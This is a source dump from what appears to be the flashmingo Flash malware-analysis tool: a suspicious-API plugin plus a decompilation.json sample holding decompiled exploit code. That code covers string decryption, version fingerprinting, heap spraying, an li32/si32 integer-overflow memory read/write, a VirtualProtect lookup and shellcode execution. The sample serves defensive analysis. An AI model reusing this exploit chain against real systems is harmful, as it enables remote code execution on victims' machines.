40 | 41 | handler = logging.handlers.RotatingFileHandler( 42 | log_filename, 43 | maxBytes=5 * 1024 * 1024, 44 | backupCount=5) 45 | 46 | handler.setLevel(logging.DEBUG) 47 | handler.setFormatter(fmt) 48 | 49 | ml = logging.getLogger('main') 50 | ml.addHandler(handler) 51 | 52 | return ml 53 | 54 | def run(self): 55 | self.ml.info("Checking for suspicious APIs...") 56 | 57 | return self._find_suspicious_apis() 58 | 59 | def _find_suspicious_apis(self): 60 | """ Crazyness """ 61 | funky_instructions = ['si32', 'li32'] 62 | funky_instructions += self.user_apis 63 | 64 | suspicious_apis = set([]) 65 | 66 | instances = self.swf.instance_info 67 | 68 | for class_name, instance_info in instances.items(): 69 | methods = instance_info['methods'] 70 | 71 | for method_name in methods: 72 | ins_list = self.swf.disassemble_method(method_name) 73 | 74 | for ins in ins_list: 75 | for funky_ins in funky_instructions: 76 | if funky_ins in ins: 77 | suspicious_apis.add((class_name, method_name)) 78 | 79 | return suspicious_apis 80 | -------------------------------------------------------------------------------- /plugins/decompiler/___init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/flashmingo/bb905ff757805a5a832977d44991152c8aa8771a/plugins/decompiler/___init__.py -------------------------------------------------------------------------------- /plugins/decompiler/decompilation.json: -------------------------------------------------------------------------------- 1 | {"merged": {"0": " this.NightCrow = new NightCrow.class extends Sprite;\r\n", "1": " var _loc4_:int = 0;\r\n param1.position = param1.length;\r\n var _loc3_:uint = param2.length;\r\n _loc4_ = 0;\r\n while(_loc4_ < _loc3_)\r\n {\r\n param1.writeUnsignedInt(uint(Kimydid.winifydeg(-1820302795) + param2.substr(_loc4_,8)));\r\n _loc4_ = _loc4_ + 8;\r\n }\r\n return param1;\r\n", "2": " var _loc2_:ByteArray = new ByteArray();\r\n _loc2_ = h2b(_loc2_,param1);\r\n _loc2_.endian = Kimydid.winifydeg(-1820302796);\r\n _loc2_.position = 0;\r\n return _loc2_;\r\n", "3": " var _loc2_:World_word = null;\r\n try\r\n {\r\n _loc2_ = new World_word(get_shell(param1));\r\n var _loc4_:* = _loc2_.wait_and_run();\r\n return _loc4_;\r\n }\r\n catch(error:Error)\r\n {\r\n }\r\n return false;\r\n", "4": " var _loc2_:String = Kimydid.winifydeg(-1820302793).substr(5);\r\n var _loc3_:String = Kimydid.winifydeg(-1820302794).substr(5);\r\n return dgjgfdfg(param1,_loc2_,_loc3_);\r\n", "5": " var _loc5_:* = 0;\r\n var _loc6_:* = 0;\r\n var _loc4_:String = \"\";\r\n _loc5_ = uint(0);\r\n while(_loc5_ < param1.length)\r\n {\r\n _loc6_ = uint(param2.indexOf(param1.charAt(_loc5_)));\r\n if(_loc6_ > -1)\r\n {\r\n _loc4_ = _loc4_ + param3.charAt(_loc6_);\r\n }\r\n _loc5_++;\r\n }\r\n return _loc4_;\r\n", "6": " removeEventListener(CloudPost.read_data(-1820302799),this.init);\r\n var _loc3_:Object = null;\r\n if(stage && stage.loaderInfo && stage.loaderInfo.parameters)\r\n {\r\n _loc3_ = stage.loaderInfo.parameters;\r\n }\r\n if(_loc3_ == null && root && root.loaderInfo && root.loaderInfo.parameters)\r\n {\r\n _loc3_ = root.loaderInfo.parameters;\r\n }\r\n if(_loc3_ == null && loaderInfo && loaderInfo.parameters)\r\n {\r\n _loc3_ = loaderInfo.parameters;\r\n }\r\n var _loc4_:String = _loc3_[Kimydid.winifydeg(-1820302797)] as String;\r\n this.asdfsdg = fgghjds(_loc4_);\r\n var _loc2_:String = Kimydid.winifydeg(-1820302798) + this.asdfsdg as String;\r\n try\r\n {\r\n this.run(_loc2_);\r\n return;\r\n }\r\n catch(error:Error)\r\n {\r\n return;\r\n }\r\n", "7": " super();\r\n if(stage)\r\n {\r\n this.init();\r\n }\r\n else\r\n {\r\n addEventListener(CloudPost.read_data(-1820302799),this.init);\r\n }\r\n", "8": "", "9": " this.CloudPost = new CloudPost.class extends Sprite;\r\n", "10": " var _loc1_:ByteArray = new crypted_data() as ByteArray;\r\n var _loc3_:ByteArray = new rc4_key() as ByteArray;\r\n xor_key_int = 2474664503;\r\n var _loc2_:int = _loc3_.readByte();\r\n var _loc5_:int = 0;\r\n while(_loc5_ < _loc2_)\r\n {\r\n read_keys(_loc3_);\r\n _loc5_++;\r\n }\r\n _loc2_ = _loc1_.readInt();\r\n var _loc4_:int = 0;\r\n while(_loc4_ < _loc2_)\r\n {\r\n decrypt_data(_loc1_,rc4_keys[_loc4_ % rc4_keys.length]);\r\n _loc4_++;\r\n }\r\n ok = true;\r\n", "11": " var _loc5_:int = param1.readInt();\r\n var _loc4_:ByteArray = new ByteArray();\r\n param1.readBytes(_loc4_,0,_loc5_);\r\n var _loc3_:ShowHappy = new ShowHappy(param2);\r\n _loc3_.decrypt(_loc4_);\r\n _loc4_.position = 0;\r\n decrypted_data.push(_loc4_.readUTFBytes(_loc4_.length));\r\n", "12": " var _loc2_:ByteArray = new ByteArray();\r\n param1.readBytes(_loc2_,0,16);\r\n _loc2_.position = 0;\r\n rc4_keys.push(_loc2_);\r\n", "13": " if(!ok)\r\n {\r\n init();\r\n }\r\n return decrypted_data[param1 ^ xor_key_int];\r\n", "14": " crypted_data = DescTop;\r\n rc4_key = FreeKey;\r\n decrypted_data = [];\r\n rc4_keys = [];\r\n", "15": " super();\r\n", "16": " this.World_word = new World_word.class extends Object;\r\n", "17": " this.test_vec = new Vector.(this.test_len);\r\n", "18": " if(this.flash_ver < 110001152)\r\n {\r\n this.bad_mem = false;\r\n return true;\r\n }\r\n System.pauseForGCIfCollectionImminent(0);\r\n var _loc3_:* = System.totalMemory;\r\n this.test_spray();\r\n var _loc4_:* = System.totalMemory;\r\n var _loc2_:uint = _loc4_ - _loc3_;\r\n var _loc1_:uint = this.test_len * 4 + 65536;\r\n this.bad_mem = _loc2_ > _loc1_;\r\n return true;\r\n", "19": " this.v10 = this.flash_ver >= 102152026 && this.flash_ver <= 103183090;\r\n this.v11_1 = this.flash_ver >= 110001152 && this.flash_ver <= 111102063;\r\n this.v11_2 = this.flash_ver >= 110001152 && this.flash_ver <= 113300273;\r\n this.v11_3 = this.flash_ver >= 112202228 && this.flash_ver <= 112202235;\r\n this.v11_4 = this.flash_ver >= 113300257 && this.flash_ver <= 113300273;\r\n this.v18209_13309 = this.flash_ver == 180000209 || this.flash_ver == 130000309;\r\n this.v19 = this.flash_ver >= 190000185;\r\n", "20": " this.is_dbg = Capabilities.isDebugger;\r\n this.os = Capabilities.os.toLowerCase();\r\n this.player_type = Capabilities.playerType.toLowerCase();\r\n this.flash_ver = this.get_flash_ver();\r\n this.check_versions();\r\n this.check_mem();\r\n this.exp_class = new LikeText(this);\r\n", "21": " var _loc2_:uint = 0;\r\n var _loc3_:uint = 0;\r\n var _loc1_:String = Capabilities.version.toLowerCase();\r\n if(_loc1_.length < 4)\r\n {\r\n return 0;\r\n }\r\n var _loc5_:String = _loc1_.substr(0,4);\r\n if(_loc5_ != CloudPost.read_data(-1820302787))\r\n {\r\n return 0;\r\n }\r\n _loc1_ = _loc1_.substr(4);\r\n var _loc4_:Array = _loc1_.split(\",\");\r\n if(_loc4_.length != 4)\r\n {\r\n return 0;\r\n }\r\n _loc2_ = _loc4_[0];\r\n _loc3_ = _loc3_ + _loc2_;\r\n _loc2_ = _loc4_[1];\r\n _loc3_ = _loc3_ * 10;\r\n _loc3_ = _loc3_ + _loc2_;\r\n _loc2_ = _loc4_[2];\r\n _loc3_ = _loc3_ * 1000;\r\n _loc3_ = _loc3_ + _loc2_;\r\n _loc2_ = _loc4_[3];\r\n _loc3_ = _loc3_ * 1000;\r\n _loc3_ = _loc3_ + _loc2_;\r\n return _loc3_;\r\n", "22": " if(this.flash_ver == 0)\r\n {\r\n return false;\r\n }\r\n var _loc1_:String = CloudPost.read_data(-1820302809);\r\n _loc1_ = _loc1_ + CloudPost.read_data(-1820302796);\r\n this.is_activex = this.player_type == CloudPost.read_data(-1820302786);\r\n this.is_plugin = this.player_type == CloudPost.read_data(-1820302788);\r\n this.is_win8 = this.os == _loc1_ + CloudPost.read_data(-1820302792);\r\n this.is_win81 = this.os == _loc1_ + CloudPost.read_data(-1820302789);\r\n this.is_win10 = this.os == _loc1_ + CloudPost.read_data(-1820302811);\r\n this.is_win8_81_10 = this.is_win8 || this.is_win81 || this.is_win10;\r\n this.is_win8_81_10_activex = this.is_activex && this.is_win8_81_10;\r\n this.is_win7_xp_activex = this.is_activex && !this.is_win8_81_10;\r\n if(!this.is_activex && !this.is_plugin && this.is_dbg)\r\n {\r\n this.is_standalone = true;\r\n if(!this.standalone_allowed)\r\n {\r\n return false;\r\n }\r\n }\r\n return this.exp_class.is_vuln(this.flash_ver);\r\n", "23": " return this.exp_class.read_uint(param1);\r\n", "24": " this.exp_class.write_uint(param1,param2);\r\n", "25": " if(!this.is_vuln())\r\n {\r\n return false;\r\n }\r\n if(!this.exp_class.spray_obj())\r\n {\r\n return false;\r\n }\r\n if(!this.exp_class.get_big_ba())\r\n {\r\n return false;\r\n }\r\n return true;\r\n", "26": " var _loc1_:* = null;\r\n if(!this.bad_mem)\r\n {\r\n _loc1_ = new NextWay(this);\r\n return _loc1_.start();\r\n }\r\n return false;\r\n", "27": " if(!this.check_spray_exp())\r\n {\r\n return false;\r\n }\r\n if(this.exp_class.skip_payload)\r\n {\r\n return true;\r\n }\r\n return this.run_payload();\r\n", "28": " this.run();\r\n", "29": " if(this.exp_class.sleep == 0)\r\n {\r\n return this.run();\r\n }\r\n this.timer = new Timer(this.exp_class.sleep,1);\r\n this.timer.addEventListener(CloudPost.read_data(-1820302800),this.sleep_end);\r\n this.timer.start();\r\n return true;\r\n", "30": " super();\r\n this.shell = param1;\r\n this.prepare();\r\n", "31": "", "32": " this.ShowHappy = new ShowHappy.class extends Object;\r\n", "33": " return 256;\r\n", "34": " var _loc3_:int = 0;\r\n var _loc4_:* = 0;\r\n var _loc2_:int = 0;\r\n _loc3_ = 0;\r\n while(_loc3_ < 256)\r\n {\r\n S[_loc3_] = _loc3_;\r\n _loc3_++;\r\n }\r\n _loc4_ = 0;\r\n _loc3_ = 0;\r\n while(_loc3_ < 256)\r\n {\r\n _loc4_ = _loc4_ + S[_loc3_] + param1[_loc3_ % param1.length] & 255;\r\n _loc2_ = S[_loc3_];\r\n S[_loc3_] = S[_loc4_];\r\n S[_loc4_] = _loc2_;\r\n _loc3_++;\r\n }\r\n this.i = 0;\r\n this.j = 0;\r\n", "35": " var _loc1_:int = 0;\r\n i = i + 1 & 255;\r\n j = j + S[i] & 255;\r\n _loc1_ = S[i];\r\n S[i] = S[j];\r\n S[j] = _loc1_;\r\n return S[_loc1_ + S[i] & 255];\r\n", "36": " return 1;\r\n", "37": " var _loc2_:uint = 0;\r\n while(_loc2_ < param1.length)\r\n {\r\n var _loc3_:* = _loc2_++;\r\n var _loc4_:* = param1[_loc3_] ^ next();\r\n param1[_loc3_] = _loc4_;\r\n }\r\n", "38": " encrypt(param1);\r\n", "39": " var _loc1_:uint = 0;\r\n if(S != null)\r\n {\r\n _loc1_ = 0;\r\n while(_loc1_ < S.length)\r\n {\r\n S[_loc1_] = Math.random() * 256;\r\n _loc1_++;\r\n }\r\n S.length = 0;\r\n S = null;\r\n }\r\n this.i = 0;\r\n this.j = 0;\r\n", "40": " super();\r\n S = new ByteArray();\r\n if(param1)\r\n {\r\n init(param1);\r\n }\r\n", "41": "", "42": " this.DescTop = new DescTop.class extends ByteArray;\r\n", "43": "", "44": " super();\r\n", "45": " this.NextWay = new NextWay.class extends Object;\r\n", "46": " return 0;\r\n", "47": " return this.exp.read_uint(param1);\r\n", "48": " this.exp.write_uint(param1,param2);\r\n", "49": " return this.exp.get_obj_addr(param1);\r\n", "50": " this.ba = new ByteArray();\r\n this.ba.endian = CloudPost.read_data(-1820302798);\r\n this.ba.length = this.ba_len;\r\n this.ba.writeUnsignedInt(3133078208);\r\n", "51": " var _loc3_:* = 0;\r\n var _loc1_:uint = 64;\r\n if(!this.starter.is_dbg)\r\n {\r\n if(this.starter.v19)\r\n {\r\n _loc1_ = 68;\r\n }\r\n if(this.starter.v11_2)\r\n {\r\n _loc1_ = 56;\r\n }\r\n if(this.starter.v10)\r\n {\r\n _loc1_ = 60;\r\n }\r\n }\r\n else\r\n {\r\n if(this.starter.v19)\r\n {\r\n return false;\r\n }\r\n _loc1_ = 68;\r\n }\r\n var _loc2_:uint = 0;\r\n var _loc4_:uint = this.get_obj_addr(this.ba);\r\n if(this.starter.v11_2 || this.starter.v10)\r\n {\r\n _loc2_ = this.read_uint(_loc4_ + _loc1_);\r\n }\r\n else\r\n {\r\n _loc3_ = this.read_uint(_loc4_ + _loc1_);\r\n _loc2_ = this.read_uint(_loc3_ + 8);\r\n }\r\n this.ba_data = _loc2_;\r\n return true;\r\n", "52": " var _loc17_:* = 0;\r\n var _loc18_:* = 0;\r\n var _loc15_:* = null;\r\n var _loc5_:* = 0;\r\n var _loc20_:* = 0;\r\n var _loc4_:* = null;\r\n var _loc8_:uint = 0;\r\n var _loc10_:uint = this.read_uint(this.exp.var_27);\r\n var _loc22_:uint = _loc10_ & this.var_187;\r\n while(true)\r\n {\r\n _loc8_ = this.read_uint(_loc22_);\r\n if(_loc8_ != this.MZ)\r\n {\r\n _loc22_ = _loc22_ - 4096;\r\n continue;\r\n }\r\n break;\r\n }\r\n var _loc7_:uint = this.read_uint(_loc22_ + 60);\r\n var _loc16_:uint = _loc22_ + _loc7_;\r\n _loc8_ = this.read_uint(_loc16_);\r\n if(_loc8_ != this.PE)\r\n {\r\n return false;\r\n }\r\n var _loc1_:uint = _loc16_ + 128;\r\n var _loc14_:uint = this.read_uint(_loc1_ + 0);\r\n var _loc13_:uint = this.read_uint(_loc1_ + 4);\r\n var _loc11_:uint = _loc22_ + _loc14_;\r\n var _loc6_:uint = CloudPost.read_data(-1820302810).length;\r\n var _loc19_:uint = 0;\r\n var _loc3_:uint = 0;\r\n var _loc21_:uint = 0;\r\n while(_loc21_ < _loc13_)\r\n {\r\n _loc17_ = this.read_uint(_loc11_ + _loc21_ + 12);\r\n _loc18_ = _loc22_ + _loc17_;\r\n _loc15_ = this.exp.read_string(_loc18_,_loc6_);\r\n if(_loc15_.toLowerCase() == CloudPost.read_data(-1820302810))\r\n {\r\n _loc19_ = this.read_uint(_loc11_ + _loc21_ + 0);\r\n _loc3_ = this.read_uint(_loc11_ + _loc21_ + 16);\r\n break;\r\n }\r\n _loc21_ = _loc21_ + 20;\r\n }\r\n if(_loc19_ == 0 || _loc3_ == 0)\r\n {\r\n return false;\r\n }\r\n var _loc2_:uint = _loc22_ + _loc19_;\r\n var _loc12_:uint = _loc22_ + _loc3_;\r\n var _loc9_:uint = CloudPost.read_data(-1820302793).length;\r\n _loc21_ = 0;\r\n while(true)\r\n {\r\n _loc5_ = this.read_uint(_loc2_ + _loc21_);\r\n if(_loc5_ != 0)\r\n {\r\n _loc20_ = _loc22_ + _loc5_ + 2;\r\n _loc4_ = this.exp.read_string(_loc20_,_loc9_);\r\n if(_loc4_ == CloudPost.read_data(-1820302793))\r\n {\r\n this.virtual_protect = this.read_uint(_loc12_ + _loc21_);\r\n return true;\r\n }\r\n _loc21_ = _loc21_ + 4;\r\n continue;\r\n }\r\n break;\r\n }\r\n return false;\r\n", "53": " return dummy.call.apply(null,param1);\r\n", "54": " return dummy.call(null);\r\n", "55": " dummy();\r\n this.dummy_addr = this.get_obj_addr(dummy);\r\n", "56": " var _loc12_:* = 0;\r\n var _loc6_:* = 0;\r\n var _loc13_:* = 0;\r\n var _loc3_:* = 0;\r\n var _loc8_:* = 0;\r\n var _loc9_:int = 0;\r\n this.get_dummy_addr();\r\n var _loc18_:uint = 28;\r\n var _loc15_:uint = 32;\r\n var _loc11_:uint = 176;\r\n if(!this.starter.is_dbg)\r\n {\r\n if(this.starter.v11_4)\r\n {\r\n _loc11_ = 168;\r\n _loc18_ = 24;\r\n _loc15_ = 28;\r\n }\r\n if(this.starter.v11_3)\r\n {\r\n _loc11_ = 152;\r\n _loc18_ = 24;\r\n _loc15_ = 28;\r\n }\r\n if(this.starter.v11_1)\r\n {\r\n _loc11_ = 136;\r\n _loc18_ = 24;\r\n _loc15_ = 28;\r\n }\r\n if(this.starter.v10)\r\n {\r\n _loc11_ = 292;\r\n _loc18_ = 20;\r\n _loc15_ = 24;\r\n }\r\n }\r\n else\r\n {\r\n _loc11_ = 188;\r\n }\r\n if(this.starter.v18209_13309)\r\n {\r\n _loc11_ = 180;\r\n }\r\n this.var_228 = this.read_uint(this.dummy_addr + _loc18_);\r\n var _loc16_:uint = this.read_uint(this.dummy_addr + _loc15_);\r\n if(this.starter.v10)\r\n {\r\n _loc12_ = this.read_uint(this.dummy_addr + 8);\r\n _loc6_ = this.read_uint(_loc12_ + 4);\r\n _loc13_ = this.read_uint(_loc6_ + 4);\r\n }\r\n else\r\n {\r\n _loc13_ = this.read_uint(this.dummy_addr + 8);\r\n }\r\n var _loc14_:uint = this.read_uint(_loc13_ + 20);\r\n var _loc10_:uint = this.read_uint(_loc14_ + 4);\r\n var _loc5_:uint = this.read_uint(_loc10_ + _loc11_);\r\n var _loc4_:uint = this.read_uint(_loc5_);\r\n while(_loc9_ < 8)\r\n {\r\n _loc3_ = this.read_uint(_loc4_ + _loc8_);\r\n this.write_uint(this.ba_data + _loc8_,_loc3_);\r\n _loc8_ = _loc8_ + 4;\r\n _loc9_++;\r\n }\r\n this.write_uint(this.ba_data + 28,this.virtual_protect);\r\n this.write_uint(this.dummy_addr + _loc18_,param1);\r\n this.write_uint(this.dummy_addr + _loc15_,param2);\r\n var _loc17_:Array = new Array(65);\r\n this.write_uint(_loc5_,this.ba_data);\r\n var _loc7_:* = this.put_dummy_args(_loc17_);\r\n this.write_uint(_loc5_,_loc4_);\r\n this.write_uint(this.dummy_addr + _loc18_,this.var_228);\r\n this.write_uint(this.dummy_addr + _loc15_,_loc16_);\r\n return _loc7_ == null;\r\n", "57": " var _loc10_:* = undefined;\r\n var _loc2_:uint = this.ba_data + 1048576;\r\n var _loc7_:* = _loc2_;\r\n param1.position = 0;\r\n while(param1.position < param1.length)\r\n {\r\n _loc10_ = param1.readUnsignedInt();\r\n this.write_uint(_loc7_,_loc10_);\r\n _loc7_ = _loc7_ + 4;\r\n }\r\n if(!this.find_virtprot())\r\n {\r\n return false;\r\n }\r\n if(!this.prepare_shell(this.ba_data & this.var_187,this.ba_len))\r\n {\r\n return false;\r\n }\r\n var _loc9_:uint = 8;\r\n var _loc4_:uint = 4;\r\n if(this.starter.v10)\r\n {\r\n _loc9_ = 4;\r\n _loc4_ = 0;\r\n }\r\n var _loc8_:uint = this.read_uint(this.var_228 + _loc9_);\r\n var _loc3_:uint = _loc8_ + _loc4_;\r\n var _loc5_:uint = this.read_uint(_loc3_);\r\n this.write_uint(_loc3_,_loc2_);\r\n var _loc6_:* = this.call_dummy();\r\n this.write_uint(_loc3_,_loc5_);\r\n return true;\r\n", "58": " return this.starter.shell;\r\n", "59": " this.init_ba();\r\n if(!this.find_data())\r\n {\r\n return false;\r\n }\r\n if(!this.run_shell(this.get_shell()))\r\n {\r\n return false;\r\n }\r\n return true;\r\n", "60": " var_187 = -4096;\r\n super();\r\n this.starter = param1;\r\n this.exp = this.starter.exp_class;\r\n", "61": "", "62": " this.FreeKey = new FreeKey.class extends ByteArray;\r\n", "63": "", "64": " super();\r\n", "65": " this.LikeText = new LikeText.class extends Object;\r\n", "66": " var _loc2_:* = undefined;\r\n var _loc4_:* = false;\r\n var _loc3_:* = param1;\r\n try\r\n {\r\n if(this.starter.bad_mem)\r\n {\r\n false;\r\n return false;\r\n }\r\n this.ver19 = int(param1 / 1000) == 190000;\r\n this.be_18_268 = _loc3_ <= 180000268;\r\n _loc4_ = _loc3_ <= 200000235;\r\n _loc2_ = _loc4_;\r\n var _loc7_:* = _loc2_;\r\n return _loc7_;\r\n }\r\n catch(e:Error)\r\n {\r\n }\r\n return false;\r\n", "67": " this.obj20 = new Vector.(this.obj1_len);\r\n this.obj4000 = new Vector.(this.uint4000);\r\n return true;\r\n", "68": " return param1 + this.int_overflow;\r\n", "69": " var _loc2_:* = 0;\r\n var _loc4_:* = 0;\r\n var _loc3_:int = 0;\r\n _loc3_ = 2147483644 + this.add(param1);\r\n _loc4_ = li32(_loc3_);\r\n _loc3_ = _loc3_ - 2097148;\r\n _loc2_ = li32(_loc3_);\r\n _loc3_ = _loc3_ - 4;\r\n _loc2_ = li32(_loc3_);\r\n return _loc4_;\r\n", "70": " var _loc4_:* = 0;\r\n var _loc3_:int = 0;\r\n _loc3_ = 2147483644 + this.add(param1);\r\n si32(param2,_loc3_);\r\n _loc3_ = _loc3_ - 2097148;\r\n _loc4_ = li32(_loc3_);\r\n _loc3_ = _loc3_ - 4;\r\n _loc4_ = li32(_loc3_);\r\n", "71": " var _loc2_:int = 0;\r\n var _loc3_:* = 0;\r\n try\r\n {\r\n _loc2_ = param1;\r\n _loc3_ = uint(this.li32_overflow(_loc2_));\r\n var _loc5_:* = _loc3_;\r\n return _loc5_;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return 4294967295;\r\n", "72": " var _loc4_:* = param1;\r\n var _loc3_:* = param2;\r\n try\r\n {\r\n this.si32_overflow(_loc4_,_loc3_);\r\n return;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n", "73": " var _loc3_:* = 0;\r\n var _loc2_:* = param1;\r\n try\r\n {\r\n this.big_ba.position = _loc2_ - 4026531840;\r\n _loc3_ = uint(this.big_ba.readUnsignedInt());\r\n var _loc5_:* = _loc3_;\r\n return _loc5_;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return 4294967295;\r\n", "74": " var _loc3_:* = param1;\r\n var _loc4_:* = param2;\r\n try\r\n {\r\n this.big_ba.position = _loc3_ - 4026531840;\r\n this.big_ba[CloudPost.read_data(-1820302794)](_loc4_);\r\n return;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n", "75": " var _loc4_:* = undefined;\r\n var _loc6_:* = null;\r\n var _loc3_:* = param1;\r\n var _loc5_:* = param2;\r\n try\r\n {\r\n this.big_ba.position = _loc3_ - 4026531840;\r\n _loc6_ = this.big_ba.readUTFBytes(_loc5_);\r\n _loc4_ = _loc6_;\r\n var _loc8_:* = _loc4_;\r\n return _loc8_;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return null;\r\n", "76": " var _loc3_:* = 0;\r\n var _loc2_:* = param1;\r\n try\r\n {\r\n this.ba_conf._this = _loc2_;\r\n _loc3_ = uint(this.read_uint(this.var_137) - 1);\r\n var _loc5_:* = _loc3_;\r\n return _loc5_;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return 4294967295;\r\n", "77": " var _loc1_:uint = 0;\r\n var _loc2_:* = null;\r\n try\r\n {\r\n while(_loc1_ < this.obj1_len)\r\n {\r\n _loc2_ = new ByteArray();\r\n this.obj20[_loc1_] = _loc2_;\r\n _loc2_.endian = Kimydid.winifydeg(-1820302796);\r\n _loc1_++;\r\n }\r\n _loc1_ = 0;\r\n while(_loc1_ < this.obj1_len)\r\n {\r\n _loc2_ = this.obj20[_loc1_];\r\n _loc2_.length = this.uint200000;\r\n _loc2_.writeUnsignedInt(4207804416 + _loc1_);\r\n _loc1_++;\r\n }\r\n return;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n", "78": " var _loc3_:* = undefined;\r\n var _loc2_:* = param1;\r\n try\r\n {\r\n _loc3_ = this.obj20[_loc2_];\r\n _loc3_[CloudPost.read_data(-1820302797)]();\r\n this.obj20[_loc2_] = null;\r\n return;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n", "79": " var _loc3_:* = 0;\r\n var _loc1_:* = undefined;\r\n var _loc2_:* = 0;\r\n undefined;\r\n try\r\n {\r\n _loc3_ = uint(this.uint1000 / 4);\r\n _loc1_ = new Vector.(this.var_213);\r\n _loc2_ = 0;\r\n while(_loc2_ < this.var_213)\r\n {\r\n _loc1_[_loc2_] = this.uintAABBC000 + _loc2_ * 4 / this.uint1000;\r\n _loc2_ = uint(_loc2_ + _loc3_);\r\n }\r\n var _loc6_:* = _loc1_;\r\n return _loc6_;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return null;\r\n", "80": " var _loc3_:* = 0;\r\n var _loc2_:* = 0;\r\n var _loc7_:* = 0;\r\n var _loc4_:* = 0;\r\n var _loc8_:int = 0;\r\n var _loc1_:int = 0;\r\n var _loc9_:* = 0;\r\n var _loc6_:* = 0;\r\n var _loc5_:* = 0;\r\n try\r\n {\r\n _loc3_ = uint(uint200000);\r\n if(ver19)\r\n {\r\n _loc3_ = uint(_loc3_ + 65536);\r\n }\r\n _loc2_ = 0;\r\n _loc7_ = uint(_loc3_);\r\n _loc4_ = uint(_loc3_ * 2 - 8);\r\n while(_loc7_ < _loc4_)\r\n {\r\n _loc2_ = uint(this.read_int_overflow(_loc7_ + 4));\r\n _loc8_ = 4294963200;\r\n _loc1_ = 4096;\r\n _loc9_ = uint(_loc2_ & _loc8_);\r\n if(_loc9_ == this.uintAABBC000)\r\n {\r\n _loc6_ = uint(_loc2_ & _loc1_);\r\n _loc5_ = uint(this.read_int_overflow(_loc7_ - _loc6_ * this.uint1000));\r\n this.cookie = _loc5_ ^ this.var_213;\r\n true;\r\n return true;\r\n }\r\n _loc7_ = uint(_loc7_ + this.uint1000);\r\n }\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return false;\r\n", "81": " var _loc3_:int = 0;\r\n var _loc5_:* = param1;\r\n var _loc4_:* = param2;\r\n try\r\n {\r\n _loc3_ = 0;\r\n while(_loc3_ < _loc4_)\r\n {\r\n this.obj4000[_loc5_] = new BookEnter(_loc5_);\r\n _loc5_++;\r\n _loc3_++;\r\n }\r\n return;\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n", "82": " var _loc11_:* = 0;\r\n var _loc4_:* = 0;\r\n var _loc2_:* = 0;\r\n var _loc15_:* = 0;\r\n var _loc12_:int = 0;\r\n var _loc6_:int = 0;\r\n var _loc3_:int = 0;\r\n var _loc13_:* = null;\r\n var _loc10_:* = 0;\r\n var _loc9_:* = 0;\r\n var _loc7_:* = 0;\r\n var _loc14_:* = 0;\r\n var _loc8_:* = 0;\r\n var _loc1_:* = 0;\r\n false;\r\n try\r\n {\r\n _loc11_ = uint(uint200000);\r\n if(ver19)\r\n {\r\n _loc11_ = uint(_loc11_ + 65504);\r\n }\r\n _loc4_ = 0;\r\n _loc2_ = uint(_loc11_);\r\n _loc15_ = uint(_loc11_ * 2 - 8);\r\n _loc12_ = 32;\r\n _loc6_ = 92;\r\n _loc3_ = 68;\r\n if(this.be_18_268)\r\n {\r\n _loc6_ = 88;\r\n _loc3_ = 64;\r\n }\r\n _loc13_ = new BookEnter(0);\r\n while(_loc2_ < _loc15_)\r\n {\r\n _loc10_ = uint(_loc2_ + _loc12_);\r\n _loc9_ = uint(_loc10_ + _loc6_);\r\n _loc4_ = uint(this.read_int_overflow(_loc9_));\r\n if(_loc4_ == _loc13_.var_150)\r\n {\r\n _loc4_ = uint(this.read_int_overflow(_loc9_ + 60));\r\n if(_loc4_ == _loc13_.var_141)\r\n {\r\n this.var_27 = this.read_int_overflow(_loc2_ + 8);\r\n _loc7_ = uint(this.read_int_overflow(_loc2_ + 20) & -4096);\r\n _loc14_ = uint(_loc7_ + _loc12_);\r\n _loc8_ = uint(_loc14_ + _loc6_);\r\n _loc1_ = uint(this.read_int_overflow(_loc9_ + 56));\r\n this.ba_conf = this.obj4000[_loc1_] as BookEnter;\r\n this.var_137 = _loc8_ + 128;\r\n if(!this.be_18_268)\r\n {\r\n this.ba_conf.var_11 = this.ba_conf.var_250 ^ this.cookie;\r\n this.ba_conf.var_260 = this.ba_conf.var_318 ^ this.cookie;\r\n this.ba_conf.var_39 = this.ba_conf.var_158 ^ this.cookie;\r\n this.ba_conf.var_55 = this.ba_conf.var_309 ^ this.cookie;\r\n }\r\n this.write_int_overflow(_loc10_ + _loc3_,_loc8_);\r\n this.big_ba = this.ba_conf;\r\n true;\r\n return true;\r\n }\r\n }\r\n _loc2_ = uint(_loc2_ + this.uint1000);\r\n }\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return false;\r\n", "83": " var _loc2_:int = 0;\r\n var _loc1_:* = undefined;\r\n try\r\n {\r\n _loc1_ = ApplicationDomain.currentDomain;\r\n _loc2_ = this.obj1_len - 4;\r\n if(this.be_18_268)\r\n {\r\n _loc2_ = this.obj1_len - 2;\r\n }\r\n if(!this.be_18_268)\r\n {\r\n this.ba_clear(_loc2_ + 1);\r\n _loc1_[CloudPost.read_data(-1820302790)] = this.obj20[_loc2_];\r\n this.vec_uint = this.make_vec_uint();\r\n if(!this.get_cookie())\r\n {\r\n false;\r\n return false;\r\n }\r\n _loc2_ = _loc2_ + 2;\r\n }\r\n this.ba_clear(_loc2_ + 1);\r\n _loc1_[CloudPost.read_data(-1820302790)] = this.obj20[_loc2_];\r\n this.fill_obj4000(0,this.uint4000);\r\n if(this.confuse_ba())\r\n {\r\n true;\r\n return true;\r\n }\r\n }\r\n catch(e:Error)\r\n {\r\n throw new Error(e.message);\r\n }\r\n return false;\r\n", "84": " this.fill_obj1();\r\n if(!this.starter.bad_mem)\r\n {\r\n if(!this.make_big_ba())\r\n {\r\n return false;\r\n }\r\n return true;\r\n }\r\n return false;\r\n", "85": " 